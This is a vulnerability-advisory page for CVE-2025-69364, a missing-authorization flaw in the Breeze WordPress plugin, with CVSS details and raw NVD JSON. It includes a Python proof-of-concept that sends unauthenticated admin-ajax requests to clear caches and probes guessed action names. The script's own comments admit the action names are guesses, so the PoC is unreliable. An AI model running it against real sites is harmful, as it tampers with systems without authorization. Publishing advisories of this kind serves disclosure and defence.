Security Vulnerability Report
中文
CVE-2025-69364 CVSS 5.3 MEDIUM

CVE-2025-69364

Published: 2026-01-06 17:15:49
Last Modified: 2026-04-27 21:16:25

Description

Missing Authorization vulnerability in Cloudways Breeze breeze allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Breeze: from n/a through <= 2.2.21.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Breeze WordPress Plugin < 2.2.21

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-69364 PoC - Breeze Plugin Authorization Bypass # This PoC demonstrates the Missing Authorization vulnerability in Breeze plugin import requests import sys TARGET_URL = "http://target-wordpress-site.com" BREEZE_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def test_unauthorized_cache_clear(): """ Test if the Breeze plugin allows unauthorized cache clearing. This endpoint should require authentication and admin privileges. """ headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Attempt to clear cache without authentication # Replace 'breeze_clear_cache' with the actual action name if different data = { "action": "breeze_clear_cache", "_wpnonce": "" # No nonce provided - testing authorization bypass } print(f"[*] Testing unauthorized cache clear on {TARGET_URL}") print(f"[*] Sending request to {BREEZE_ENDPOINT}") try: response = requests.post(BREEZE_ENDPOINT, data=data, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") # Check if the request was successful (indicating authorization bypass) if response.status_code == 200 and '"success"' in response.text.lower(): print("[!] VULNERABLE: Cache clear succeeded without authorization!") return True elif response.status_code == 403: print("[+] SECURE: Request was properly denied (403 Forbidden)") return False else: print(f"[*] Response indicates: {response.text[:200]}") return None except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return None def enumerate_breeze_actions(): """ Enumerate potential Breeze AJAX actions that might be vulnerable. """ actions = [ "breeze_clear_cache", "breeze_clear_varnish", "breeze_export_settings", "breeze_import_settings", "breeze_update_config", "breeze_purge_all" ] print("[*] Enumerating Breeze AJAX actions for authorization issues...") for action in actions: data = {"action": action} try: response = requests.post(BREEZE_ENDPOINT, data=data, headers={ "Content-Type": "application/x-www-form-urlencoded" }, timeout=10) if response.status_code == 200 and '"success"' in response.text.lower(): print(f"[!] Potential vulnerability in action: {action}") except requests.exceptions.RequestException: pass if __name__ == "__main__": print("=" * 60) print("CVE-2025-69364 Breeze Plugin Authorization Bypass Tester") print("=" * 60) if len(sys.argv) > 1: TARGET_URL = sys.argv[1] test_unauthorized_cache_clear() enumerate_breeze_actions()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69364", "sourceIdentifier": "[email protected]", "published": "2026-01-06T17:15:49.023", "lastModified": "2026-04-27T21:16:25.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Cloudways Breeze breeze allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Breeze: from n/a through <= 2.2.21."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/breeze/vulnerability/wordpress-breeze-plugin-2-2-21-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}